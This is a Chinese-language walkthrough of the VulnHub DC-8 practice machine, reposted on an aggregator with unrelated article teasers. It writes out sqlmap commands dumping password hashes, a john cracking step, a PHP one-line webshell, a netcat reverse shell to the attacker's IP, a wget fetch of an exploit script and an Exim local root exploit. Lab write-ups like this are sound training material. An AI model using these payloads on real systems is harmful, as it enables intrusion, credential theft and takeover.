vulnhub 靶场DC-8实战指南

news/2024/11/19 11:45:29/文章来源:https://www.cnblogs.com/mr-ryan/p/18433615

vulnhub 靶场DC-8实战指南

靶机下载地址:https://www.vulnhub.com/entry/dc-8,367/

攻击机kali:192.168.48.138

靶机DC-8:192.168.48.171

信息收集

  1. 查看靶机ip
arp-scan -l

发现靶机ip为192.168.48.171

  1. 端口扫描

    nmap -A -p- -T4 192.168.48.171
    

  2. 访问80端口的web站点

    随便点点,发现可能存在SQL注入,等会尝试

  3. 扫描目录试试看

    dirb http://192.168.48.171
    

    dirsearch -u http://192.168.48.171 -i 200
    


    发现存在登录页面,尝试获取用户名密码进行登录

  4. 网站cms指纹信息

漏洞探测

  1. 尝试刚刚发现可能的注入点

    增加单引号,出现报错,大概率存在SQL注入

    sqlmap一把梭!!!

    sqlmap -u http://192.168.48.171/?nid=1
    

​ 获取数据库信息

sqlmap -u http://192.168.48.171/?nid=1 --dbs

获取到数据库名为:d7db

​ 获取数据库中的数据表信息

sqlmap -u http://192.168.48.171/?nid=1 -D d7db --tables

共88张表,发现其中存在 users 数据表

获取 users 表中的字段信息

sqlmap -u http://192.168.48.171/?nid=1 -D d7db -T users --columns

发现存在 namepass 字段,尝试获取字段内容

sqlmap -u http://192.168.48.171/?nid=1 -D d7db -T users -C name,pass --dump

发现密码进行了加密,尝试进行密码爆破

将获取到的hash值存储为txt文件后,使用哈希工具 john 进行爆破

vim ryan.txt  // 编辑文件内容,将hash值写入
john ryan.txt  // 使用john工具进行爆破

admin用户的密码没有爆破成功,john用户密码爆破成功,为turtle

使用 john/turtle 尝试登录网站

成功登录

接下来尝试能否getshell,再进行反弹shell操作

getshell

先熟悉熟悉后台功能,发现存在富文本编辑器

先验证一下是否能执行php代码

<?php phpinfo();?>

发现能执行phpinfo

那就尝试写入一句话木马

<?php @eval($_POST[1]);?>

尝试使用蚁剑连接

进入虚拟终端,进行反弹shell(执行该操作前,先在kali进行监听)

nc 192.168.48.138 8888 -e /bin/bash

kali监听

nc -lvnp 8888

交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

提权

suid提权

SUID(Set User ID)是一个文件权限位,用于允许用户以文件拥有者的权限执行该文件。这意味着当用户运行一个具有SUID位的程序时,该程序会以文件拥有者的身份运行,而不是用户的身份。

sudo(superuser do)是一个命令,用于以超级用户或其他用户的身份执行命令,它需要用户输入密码。

简单来说,SUID是文件级别的权限提升,而sudo是命令级别的权限管理。

SUID提权指的是通过利用具有SUID位的程序,非特权用户可以获得更高权限(通常是root权限)执行该程序。

suid提权的工作原理及执行过程:

SUID位:在类Unix系统中,文件的权限位可以设置为SUID。通过设置SUID位,文件的所有者可以授权其他用户以其身份执行该文件。

执行过程:当用户运行一个具有SUID位的程序时,操作系统会临时提升该程序的权限,使其以文件拥有者的身份执行。这样,普通用户可以执行一些原本只有管理员才能执行的操作。

find / -perm -u=s -type f 2>/dev/null

查看exim4的版本

Exim4是一个开放源代码的邮件传输代理(MTA),用于在Unix和类Unix系统上发送和接收电子邮件。它灵活且高度可配置,支持多种邮件传递方式、反垃圾邮件功能和多用户环境。

使用 searchsploit 查找exim可利用的漏洞

查看利用信息

找到脚本路径

将脚本复制到当前工作目录

cp /usr/share/exploitdb/exploits/linux/local/46996.sh ~

启动apache服务,并将脚本放到 /var/www/html 目录下去

在得到的shell中下载利用脚本

wget http://192.168.48.138/46996.sh

发现没有权限,切换到 /tmp 目录下,重新下载

成功下载

发现该文件没有执行权限,赋予执行权限

chmod 777 46996.sh

查看脚本使用方法

进行提权

./46996.sh -m setuid

提权失败,利用第二种方式

./46996.sh -m netcat

提权成功

找到flag

查看flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/804113.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS中小数计算时获取正确结果

JS中,所有数字都以双精度64位浮点格式表示,因此部分小数进行计算时,会出现无法预测的长小数结果,导致无法得到想要的结果。为了避免这种现象出现,可以使用个简单方法转换后再进行计算,即将数字放大为整数后计算再等比缩小那关键就在于获取小数精度位,以下是方法代码:fu…

博客园终身会员小福利,送华为云服务器

最近我们和华为云总经销商浙江杭云网络科技有限公司达成了合作,准备从10月开始做一些华为云的代理业务,增加园子的收入来源。 在做这个业务之前,先给园子的终身会员送点华为云服务器作为小福利,这次只申请到100台,先到先得,送完为止。 赠送的云服务器配置如下:终身VIP会…

Meta公布首款AR眼镜Orion,成本1万美元;OpenAI CTO Mira Murati离职丨RTE开发者日报

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑…

Java基础-学习笔记18

反射机制、反射相关类、反射性能优化18 反射 1. 反射机制反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息(比如成员变量、构造器、成员方法等等),并能操作对象的属性及方法。反射在设计模式和框架底层都会用到;加载完类之后,在堆中就产生了一个 Class …

ECU电控软件开发及测试介绍

本文重点介绍符合AutoSar架构的应用软件开发、MBD开发模式下的软件质量评估与优化方案、复杂场景下的ECU性能压力测试方案。 伴随着电动化、智能化、网联化等技术发展的时代背景,各行各业电子电气架构都在发生深度变革。新型架构逐渐取代传统架构,比如汽车、工程机械、…

BladeX开发入门(记录)

BladeX 物联网平台是一款高度集成的物联网解决方案,涵盖设备管理、数据采集、实时监控、数据分析以及开放API服务等核心功能。 平台经过精心设计与开发,提供了全面的品类、产品和设备支持。设备注册成功后,能够轻松桥接至其他物联网云平台,实现设备的无缝集成。 同时提供服…

RabbitMq 入门应用 提升性能 : 算法多阶段并行 (Python)

大问题: 我们有一个算法,它可以被分为多个阶段进行(顺序不可颠倒),每个阶段的性能和资源要求不同(且不均衡程度比较高); 假设我们现在可以堆资源(较多的CPU和内存),如何将算法各个步骤拆分并进行性能均衡和实现,使得算法性能最大化以满足生产要求? 多进程: 由于算法有严…

Github使用技巧

1、怎么查找对应关系 一般查找对应关系,可以去阅读下面的说明: 2、0.20.Release版本不存在的问题如上图:根本不知道0.2.1.RELEASE对应的dubbo-spring-boot-start版本是多少,在maven仓库中根本没有这个版本 解释:这里需要我们点击这个版本,然后就会跳转到这个代码上,如…

微信小程序修改radio颜色

看效果: 代码:<radio-group @change="onRadioChange"><label><radio value="同意" style="margin-right: 30rpx">同意</radio></label><label><radio value="不同意">不同意</radio&g…

springboot对接dubbo遇到的巨坑

1、添加配置jar包<dependency><groupId>org.apache.dubbo</groupId><artifactId>dubbo-spring-boot-starter</artifactId><version>2.7.4.1</version></dependency><dependency><groupId>org.apache.dubbo</gr…

一款高性价比4g工业路由器,配置简单,网络覆盖强

​各位老铁,今天给大家介绍一下SR600这款工业级4G路由器。这玩意儿是专门为工业环境设计的,比如说化工厂、矿场这种恶劣环境,普通路由器根本扛不住。先说说SR600的硬件配置:处理器: 工业级CPU,厂家没透露具体型号,但性能够用内存: 128MB,满足工业控制需求存储: 16MB Flash,可扩…

VS Code 的SSH连接不成功问题分析与解决

问题描述:多次输入密码,一直连接不上 解决方法; 打开远程服务器中~/.vscode-server/bin/xxx文件夹,此时可以看到一个名为vscode-server.tar.gz,截图如下:上面的37开头的文件夹称为Commit Id,现在利用Commit ID下载远程连接需要的文件。使用这个链接: https://update.cod…